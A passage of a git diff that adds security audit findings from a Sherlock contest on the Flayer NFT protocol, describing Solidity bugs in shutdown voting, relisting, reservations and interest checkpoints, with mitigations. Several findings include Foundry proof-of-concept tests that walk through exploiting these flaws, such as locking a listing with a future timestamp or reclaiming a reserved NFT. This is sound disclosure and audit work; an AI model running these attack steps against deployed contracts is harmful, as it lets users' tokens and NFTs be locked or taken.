+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+ }
+
+```
+
+and [line of code here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L373)
+
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+
+ /**
+ * If a shutdown flow has not been triggered and the total supply of the token has risen
+ * above the threshold, then this function can be called to remove the process and prevent
+ * execution.
+ *
+ * This is done to ensure that collections cannot be marked to shutdown in it's infancy and
+ * then as more tokens are added then the shutdown is actioned, rugging people that weren't
+ * aware of the action.
+ *
+ * @param _collection The collection address
+ */
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+
+```
+
+the user can vote for a shutdown, they need to lock token
+
+if user change their mind, they can claim the token back and delete his vote.
+
+However, consider the sequence of action beflow.
+
+1. alice use 10000 token to vote for shutdown.
+2. bob trigger [cancel function](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403) and the _collectionParams get deleted.
+3. alice cannot reclaim the vote and get her token back.
+
+because after
+
+```solidity
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+```
+
+calling [reclaimVote](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L373) would not work because params.collectionToken is address(0)
+
+```solidity
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+```
+
+## Impact
+
+User cannot reclaim the vote and lose fund after the shutdown is canceled.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L191
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L373
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403
+
+## Recommendation
+
+implement what comments says:
+
+```solidity
+ * If a shutdown flow has not been triggered and the total supply of the token has risen
+ * above the threshold, then this function can be called to remove the process and prevent
+ * execution.
+```
+
+instead of delete all _collectionParams data.
\ No newline at end of file
diff --git a/001/350.md b/001/350.md
new file mode 100644
index 0000000..4ffec8b
--- /dev/null
+++ b/001/350.md
@@ -0,0 +1,22 @@
+Large Saffron Toad
+
+Medium
+
+# A collection will not be shutdown in an edge case
+
+## Summary
+If we shutdown a collection once and start it again, users will not be able to start voting for the shutdown the second time
+## Vulnerability Detail
+When a voting for the sunset of a collection is started the _collectionParams global mapping will save the votes.
+However when the collection is executed the _collectionParams `shutdownVotes` parameter for the current collection is not reset back to 0. The `Locker.sol` contract will still allow the creation of another instance of the same collection, however because the mapping is not reset and the old shutdownVotes will still apply for the new collection causing `start` to revert here:
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141
+## Impact`
+DOS of the shutdown functionality for the collection that has been shutdown once - Medium
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141
+## Tool used
+
+Manual Review
+
+## Recommendation
+Reset the shutdown votes after execution. However you will need to implement another flag or keep the previous shutdown of the collection stored in another place so that the new shutdown does not override it.
\ No newline at end of file
diff --git a/001/362.md b/001/362.md
new file mode 100644
index 0000000..c50bed8
--- /dev/null
+++ b/001/362.md
@@ -0,0 +1,128 @@
+Loud Bone Cottonmouth
+
+Medium
+
+# Malicious user can lock a listing by re-listing it with future time
+
+### Summary
+
+Input parameter validation in `relist()` does not prevent re-listing a listing with `create` value in the future, this leads to the NFT being locked on the contract for indefinite amount of time.
+
+### Root Cause
+
+The `relist()` function does not validate the correctness of the `_listing` argument values and it is possible to re-list a listing with future `_listing.listing.created` value. When such a listing is created it is not possible to a) cancel it b) fill it c) re-list it d) reserve it, until the `block.timestamp` value is greater or equal than `_listing.listing.created`.
+
+Where the listing is registered:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665
+
+### Internal pre-conditions
+
+1. A listing needs to be existing on the `Listings` contract.
+
+### External pre-conditions
+
+No external pre-conditions are required
+
+### Attack Path
+
+1. A malicious user calls `relist()` function on the `Listings` contract with `_listing.listing.created` value set higher than `block.timestamp`.
+
+### Impact
+
+1. The Listing (and hance the NFT that it holds) is locked on the `Listings` contract. This means that it cannot be filled or reserved hence any future fees related to that listing are lost for the protocol.
+2. The malicious user has to pay only the tax value to succesfully call `relist()` which in the lowest possible case (floor value NFT) is around 2% of the value in terms of the `CollectionToken` ERC20.
+
+### PoC
+
+```solidity
+ function test_MyLockListing() public {
+ uint16 _floorMultiple = 101;
+ address payable _owner1 = payable(address(0x01));
+ address payable _owner2 = payable(address(0x02));
+
+ // Deploy our platform contracts
+ _deployPlatform();
+
+ // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
+ // is explicitly created in a number of tests.
+ locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);
+
+ // Initialise our collection
+ _initializeCollection(erc721a, SQRT_PRICE_1_2);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner1, TOKEN_ID);
+
+ deal(address(locker.collectionToken(address(erc721a))), _owner1, 1 ether);
+ deal(address(locker.collectionToken(address(erc721a))), _owner2, 1 ether);
+
+ // Create our listing for owner 1
+ vm.startPrank(_owner1);
+ erc721a.approve(address(listings), TOKEN_ID);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(TOKEN_ID),
+ listing: IListings.Listing({
+ owner: _owner1,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ })
+ });
+
+ // Warp forward half the time, so that we can test the required amount to be repaid in addition
+ vm.warp(block.timestamp + (VALID_LIQUID_DURATION / 2));
+
+ // approve the ERC20 collectionToken
+ vm.startPrank(_owner1);
+ locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);
+
+ vm.startPrank(_owner2);
+ locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);
+
+ // owner 2 relists from his second account
+ vm.startPrank(_owner2);
+ listings.relist(IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(TOKEN_ID),
+ listing: IListings.Listing({
+ owner: _owner2,
+ created: uint40(block.timestamp + 365 days), // if in the future the listing cannot be cancelled.
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ }),
+ false
+ );
+
+ // Cancelling the listing reverts:
+ vm.startPrank(_owner2);
+ vm.expectRevert();
+ listings.cancelListings(address(erc721a), _tokenIdToArray(TOKEN_ID_1), false);
+
+ // relisting reverts. All other functions need to calculate the tax in the same way which with future date leads to an overflow.
+ vm.startPrank(_owner1);
+ vm.expectRevert();
+ listings.relist(IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(TOKEN_ID),
+ listing: IListings.Listing({
+ owner: _owner1,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ }),
+ false
+ );
+
+ }
+```
+
+### Mitigation
+
+Depending on the required functionality:
+1) Validate the `_listing.listing.created` value to reach to the future to just a certain extent if this is intended.
+2) When re-listing, assign the `created` variable to `block.timestamp`
\ No newline at end of file
diff --git a/001/367.md b/001/367.md
new file mode 100644
index 0000000..c6f9a2e
--- /dev/null
+++ b/001/367.md
@@ -0,0 +1,135 @@
+Loud Berry Cuckoo
+
+Medium
+
+# Inability to Support Multiple Shutdowns for the Same Collection
+
+### Summary
+
+An incorrect logic in `CollectionShutdown.sol` prevents users from triggering multiple shutdowns for the same collection. This happens because parameters related to a collection's shutdown status are not removed from the mapping that tracks the shutdown process, causing future shutdown attempts to fail.
+
+### Root Cause
+
+The issue stems from the mapping `CollectionShutdown::_collectionParams`, which stores data related to each collection's shutdown process. The shutdown process follows these steps:
+
+1. The shutdown process begins when `CollectionShutdown::start` is called, passing the collection's address as a parameter.
+2. Users vote on the shutdown by calling `CollectionShutdown::vote` until the quorum is reached.
+3. Once quorum is met, the liquidation process is triggered via `CollectionShutdown::execute`.
+4. Users can claim proceeds from the liquidation by calling `CollectionShutdown::claim`.
+
+After the process is completed, the `CollectionShutdownParams` struct associated with the collection remains populated with data such as quorum votes and shutdown votes. This lingering data blocks any future shutdown attempts, as the following validation fails:
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141
+```javascript
+function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+@> if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+...
+```
+As a result, a shutdown can only be initiated for a collection once.
+
+### Internal pre-conditions
+
+The collection shutdown process has not been blocked by the manager.
+
+### External pre-conditions
+
+The collection shutdown process is attempted more than once.
+
+### Attack Path
+
+User try to initiate the shutdown process calling `CollectionShutdown::vote` in order to set the new collection token and quorum votes, however the tx reverts as there are already casted votes for the collection.
+
+### Impact
+
+Users inability to wind down iliquid collections.
+
+### PoC
+Adjust the last part of `CollectionShutdown.t.sol::test_CanVoteAndClaim` as follows:
+
+
+
+ See PoC
+
+```diff
+ function test_CanVoteAndClaim() public withDistributedCollection {
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Mint NFTs into our collection {Locker} and process the execution
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
+ // provide 0.5 ETH <-> 1 {CollectionToken}.
+ _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);
+
+ // Check the number of shutdown votes and avaialble funds to claim
+ ICollectionShutdown.CollectionShutdownParams
+ memory shutdownParams = collectionShutdown.collectionParams(
+ address(erc721b)
+ );
+ assertEq(shutdownParams.shutdownVotes, 2 ether);
+ assertEq(shutdownParams.availableClaim, 2 ether);
+
+ // Get our start balances so that we can compare to closing balances from claim
+ uint startBalance = payable(address(2)).balance;
+
+ // As the claiming user has not voted, we need to call `voteAndClaim` to combine
+ // the two calls. This call can only be made when the collection has already been
+ // liquidated fully and is designed for users that hold tokens but did not vote.
+ vm.startPrank(address(2));
+ collectionToken.approve(address(collectionShutdown), type(uint).max);
+ collectionShutdown.voteAndClaim(address(erc721b));
+ vm.stopPrank();
+
+ // Check that `address(2)` holds the increased ETH amount
+ assertEq(payable(address(2)).balance - startBalance, 0.5 ether);
+
+ // Test the output to show that the vote element of our call has worked. We take
+ // the user's tokens but to save gas we don't make updates to the voting levels
+ // as the quorum has already been reached.
+ assertEq(collectionToken.balanceOf(address(2)), 0);
+ assertEq(
+ collectionShutdown.shutdownVoters(address(erc721b), address(2)),
+ 0
+ );
+ assertCanExecute(address(erc721b), false);
+
+ // Our values should not have updated
+ shutdownParams = collectionShutdown.collectionParams(address(erc721b));
+ assertEq(shutdownParams.shutdownVotes, 2 ether);
+ assertEq(shutdownParams.availableClaim, 2 ether);
+
++ // 2nd shutdown
++ // collection token is restored
++ locker.createCollection(
++ address(erc721b),
++ "Test Collection2",
++ "TEST2",
++ 0
++ );
++ ICollectionToken collectionToken2 = locker.collectionToken(
++ address(erc721b)
++ );
++ // mint 1 token for us
++ vm.prank(address(locker));
++ collectionToken2.mint(address(this), 1 ether);
++ vm.prank(address(locker));
++ assertEq(collectionToken2.totalSupply(), 1 ether); // 1 ether < MAX_SHUTDOWN_TOKENS
++ // we should be able to trigger start, however we can't as the previous values are still stored in the collection params
++ vm.expectRevert(
++ ICollectionShutdown.ShutdownProcessAlreadyStarted.selector
++ );
++ collectionShutdown.start(address(erc721b));
+ }
+```
+
+
+
+### Mitigation
+
+Track the shutdown status using the collection token as the key in the mapping. Since a new token is created each time a collection is restored, the parameters in the struct will automatically reset, allowing new shutdown processes to be initiated.
\ No newline at end of file
diff --git a/001/370.md b/001/370.md
new file mode 100644
index 0000000..d3dbd33
--- /dev/null
+++ b/001/370.md
@@ -0,0 +1,95 @@
+Crazy Chiffon Spider
+
+High
+
+# Utilization rate only takes into account protected listings, which leads to loss of interest.
+
+## Summary
+To calculate the compound interest of LockBox listings we should use the utilization rate of the flayer pool. However we currently only factor the `protectedListings`, not the total amount of listings.
+
+And disclaimer: This was also discussed with the Sponsor and he confirmed.
+
+## Vulnerability Detail
+
+The whitepaper clearly talks about one pool when mentioning listings, not for separate pools. - [flayer whitepaper](https://www.flayer.io/whitepaper)
+We have 1 "virtual pool" per collection.
+
+> This is similar to Liquid Listings however deposited items are not available for purchase but instead have a variable interest rate based on pool utilisation.
+
+> Re-Listing: Arbitrageurs can permissionlessly curate listings by re-listing assets without having to take on the risk of buying the asset from the pool.
+
+> Reservations: Users can reserve items in the pool by putting up collateral and paying an interest rate.
+
+> ƒlayer allows any non-floor item within a collection to be deposited into a collection’s pool as a Liquid Listing,
+
+Additionally in CollectionShutdown we factor all the listings, correctly, as it should be - [code snippet](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L514)
+
+Semantically, this should be identical, as we are talking about the same pool for the same collection.
+
+This is how the utilizationRate() in ProtectedListings.sol function is currently defined:
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+@>> listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+However as seen:
+- We have confusing comments as we don't specify any listingType
+- We are only factoring in the listings from `ProtectedListings.sol`, which makes no sense, as the Flayer pool, as defined should reflect all the listings, including `liquid`, `dutch` and `lockbox`. The `ProtectedListings.sol` and `Listings.sol` interact with each other for the different types of listings and also for tracking the utilization rate which is used for the compoundFactor's calculation, for example the `Listings.sol` contract calls `createCheckpoint` when changing the totalSupply.
+
+## Impact
+
+Not factoring in **all the listings** when calculating the **utilization rate** for the pool will lead to **lower interest rates** and **loss of fees** that could have been deposited into the pool for **UniswapV4 swaps** and distributed to **LP providers**.
+
+`getProtectedListingHealth()` tracks the **health position** of a specific **lockbox listing**, or one that was reserved via `reserve()` from **Listings.sol**.
+```solidity
+ function getProtectedListingHealth(....) {
+ return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+```
+
+unlockPrice() takes the currentCheckpoint, which is calculated using the utilization rate - [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L549)
+```solidity
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+@>> _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add listings:
+```diff
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ listingsOfType_ = listingCount[_collection];
++ listingsOfType_ += _listings.listingCount(_collection);
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+Since Locker.sol deposits are also part of the pool, consider also tracking the deposit count and using it for the utilization rate.
diff --git a/001/371.md b/001/371.md
new file mode 100644
index 0000000..5b5957f
--- /dev/null
+++ b/001/371.md
@@ -0,0 +1,126 @@
+Clean Snowy Mustang
+
+High
+
+# Listing info is not deleted when a listing is reserved
+
+## Summary
+Listing info is not deleted when a listing is reserved.
+
+## Vulnerability Detail
+
+When a listing is reserved, the listing owner receives the collection tokens for the selling, and the user who reserves the listing will be created with a protected listing, the ERC721 item will still be escrowed in Locker contract after the protected listing is created.
+
+During the process, protocol reduces the amount of listings to reflect the status change.
+
+[Listings.sol#L724-L725](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L724-L725):
+```solidity
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+```
+
+However, the listing info is not deleted, results in the old listing owner still owns the listing, and the owner can cancel the listing to receive the ERC721 item back.
+
+Consider the following scenario:
+1. Bob lists a ERC721 item;
+2. The listing is reserved by Alice, Alice sends Bob collection tokens and pays some collaterals;
+3. The listing is not deleted, Bob still owns the listing;
+4. Bob cancels the listing and receives the ERC721 item back;
+5. Alice essentially loses collaterals for nothing.
+
+Please run the PoC in Listings.t.sol to verify:
+```solidity
+ function testAudit_TokenListingInfoNotDeletedWhenReserves() public {
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ address bob = makeAddr("Bob");
+ uint256 tokenId = 888;
+ erc721a.mint(bob, tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(bob),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 200
+ });
+
+ // Bob creates a listing
+ vm.startPrank(bob);
+ erc721a.approve(address(listings), tokenId);
+ IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
+ createListings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: listing
+ });
+ listings.createListings(createListings);
+ vm.stopPrank();
+
+ address alice = makeAddr("Alice");
+ mintCollectionTokens(address(erc721a), alice, 1, 2);
+
+ // Alice reserves Bob's listing
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.reserve(address(erc721a), tokenId, 0.2 ether);
+ vm.stopPrank();
+
+ // Bob's listing info is not deleted, he still owns the listing
+ listing = listings.listings(address(erc721a), tokenId);
+ assertEq(listing.owner, bob);
+
+ // Bob cancels the listing
+ vm.startPrank(bob);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.cancelListings(address(erc721a), _tokenIdToArray(tokenId), false);
+ vm.stopPrank();
+
+ // Bob receives ERC721 item back and earns 1 ether profit
+ assertEq(erc721a.ownerOf(tokenId), bob);
+ assertEq(collectionToken.balanceOf(bob), 1 ether);
+ }
+```
+
+## Impact
+
+User who reserves a listing will suffer a loss if the listing owner cancels the listing.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+When a listing is reserved, the listing info should be deleted.
+
+[Listings.sol#L706-L726](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L706-L726):
+```diff
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
++ // Delete the token listing
++ delete _listings[_collection][_tokenId]
+ }
+```
\ No newline at end of file
diff --git a/001/372.md b/001/372.md
new file mode 100644
index 0000000..09d00b1
--- /dev/null
+++ b/001/372.md
@@ -0,0 +1,177 @@
+Crazy Chiffon Spider
+
+High
+
+# Locker is not setting checkpoints when minting/burning new supply of CT tokens, which can lead to loss of interest rate.
+
+## Summary
+Checkpoint creation in `ProtectedListing.sol` is used to accurately adjust the compounding factor based on the utilization rate, its also called in Listings.sol when total supply of `CT` is changed, however `Locker.sol` does not call it, even though it can affect the utilizationRate calculation in the "collection pool", which leads to loss of interest rate.
+
+**Disclaimer**: the required behaviour as mentioned from the comments, is that we should create checkpoints when utilization rate change. As this one from `Listings.sol`
+> // Create our checkpoint as utilization rates will change
+
+## Vulnerability Detail
+
+`Locker.sol` allows for NFT holders of specific collection to deposit their NFTs, which would be worth floor price, into the contract, and get `CT` tokens in exchange, which will be minted.
+
+As we can see in `Listings.sol` and `ProtectedListing.sol` such changes are handled with `protectedListings.createCheckpoint();` as they will affect the interest rate, because the compound factor is calculated with the utilization rate:
+
+In [Listings.cancenListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L466-L467) and in [Listings.fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L602-L603) we have:
+```solidity
+@>> // Create our checkpoint as utilization rates will change
+@>> protectedListings.createCheckpoint(listing.collection);
+```
+
+But in Locker.sol in [deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L163) and [redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L209-L230) we lack such a call even though its needed to keep accurate interest rate.
+
+It does need to be a **liquid**/**dutch**/**lockbox** listing to affect the utilization rate as its also **affected from totalSupply**, thats why we should create checkpoints in `Locker.sol`. - Utilization rate code snipper [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273)
+### Coded PoC
+Add this to `ProtectedListings.t.sol` and run `forge test --match-test test_LockerAffectsInterestRate -vvv`
+```solidity
+ function test_LockerAffectsInterestRate() public {
+ // ===--> Setup <--===
+ uint startTimeStamp = 1641070800;
+ vm.warp(startTimeStamp);
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ uint tokenId = 20;
+ uint secondTokenId = 21;
+ erc721a.mint(address(this), tokenId);
+ erc721a.mint(address(this), secondTokenId);
+
+ assertEq(erc721a.totalSupply(), 12);
+
+ uint[] memory depositIds = new uint[](1);
+ depositIds[0] = secondTokenId;
+ erc721a.approve(address(locker), secondTokenId);
+ locker.deposit(address(erc721a), depositIds);
+
+ assertEq(token.totalSupply(), 11e18);
+ // ===--> Setup <--===
+
+ //Create 1 protected listing so we can track the interest rate
+ erc721a.approve(address(protectedListings), tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ //===================
+ //----STEP ONE----
+ //===================
+ assertEq(protectedListings.unlockPrice(address(erc721a), tokenId), 0.4 ether);
+
+ skip(1 minutes);
+
+ //199391171976 compound fee accrued for 1 minute for 11e18 total supply
+ uint256 firstInterestRateForMinute = 199391171976;
+ uint256 unlockPriceSave1 = protectedListings.unlockPrice(address(erc721a), tokenId);
+ assertEq(unlockPriceSave1, 0.4 ether + firstInterestRateForMinute);
+
+ skip(1 minutes);
+
+ //Try again to ensure that interest rate is calculated correctly
+ uint256 unlockPriceSave2 = protectedListings.unlockPrice(address(erc721a), tokenId);
+ assertEq(unlockPriceSave2 - unlockPriceSave1, 199391171976);
+
+ // Now redeem NFT, this will affect the utilization rate as CT will be burned
+ token.approve(address(locker), 1e18);
+ locker.redeem(address(erc721a), depositIds);
+
+ //Interest rate immediately increases after CT is burned as unlockPrice factor LIVE utilization rate
+ //Interest rate is always increased relative to the last checkpoint's timestamp.
+ uint256 unlockPriceSave3 = protectedListings.unlockPrice(address(erc721a), tokenId);
+ assertEq(unlockPriceSave3, 0.4 ether + 407914764048);
+ // 407914764048 / 2 = 203957382024 New interest rate for per minutes since last checkpoint ( 2 mins ago )
+
+ skip(1 minutes);
+
+ uint256 unlockPriceSave4 = protectedListings.unlockPrice(address(erc721a), tokenId);
+ assertEq(unlockPriceSave4 - unlockPriceSave3, 203957382024);
+
+ //===================
+ //----STEP TWO----
+ //===================
+ // Now let's test that again, but by comparing if we were calling createCheckpoint() after each change of supply
+ // We can use burn as it would be the same as someone calling redeem()
+ // We want to burn a lot so utilization rate becomes high, over the 0.8 kink.
+ // It's not necessary that we have to burn to get more utilization rate, we could also have more listings.
+ // For this test we will burn, as it's easier.
+ token.burn(9.75e18);
+
+ uint256 interestRateFor1MinuteAfterBurn = 608828006088;
+ uint256 unlockPriceSave5WithoutCheckpoint = protectedListings.unlockPrice(address(erc721a), tokenId);
+ assertEq(unlockPriceSave5WithoutCheckpoint, 0.4 ether + interestRateFor1MinuteAfterBurn * 3); // 1826484018264 / 3 = 608828006088 INTEREST RATE ( 3 minutes since last checkpoint )
+
+ // We skip 10 minutes, total interest rates should be interestRateFor1MinuteAfterBurn * 13 as 13 minutes passed since last checkpoint
+ skip(10 minutes);
+
+ uint256 saveInterestRateAfter10MinNoCheckpoint = protectedListings.unlockPrice(address(erc721a), tokenId) - 0.4 ether;
+ assertEq(protectedListings.unlockPrice(address(erc721a), tokenId), 0.4 ether + interestRateFor1MinuteAfterBurn * 13);
+
+ //===================
+ //----STEP THREE----
+ //===================
+ //Now lets replay step 2, by rolling by 10 minutes back, so we could compare with checkpoint and without checkpoint
+ vm.warp(startTimeStamp + 3 minutes);
+ vm.prank(address(listings));
+ protectedListings.createCheckpoint(address(erc721a));
+
+ skip(10 minutes);
+
+ uint256 saveTotalInterestRateAfter10MinWithCheckpoint = protectedListings.unlockPrice(address(erc721a), tokenId) - 0.4 ether;
+ assertTrue(saveTotalInterestRateAfter10MinWithCheckpoint > saveInterestRateAfter10MinNoCheckpoint);
+
+ //Assert loss for just 10 minutes
+ assertEq(saveTotalInterestRateAfter10MinWithCheckpoint - saveInterestRateAfter10MinNoCheckpoint, 27800365);
+ }
+```
+## Impact
+Loss of interest rate, which can accrue overtime.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Adjust the code in `Locker.sol` for `redeem()` and `deposit()` as follows:
+```diff
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
++ _listings.protectedListings().createCheckpoint(_collection);
+....
+```
+
+```diff
+ function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public {
+ ...Skipping Code....
+ // Mint the tokens to the recipient
+ ICollectionToken token = _collectionToken[_collection];
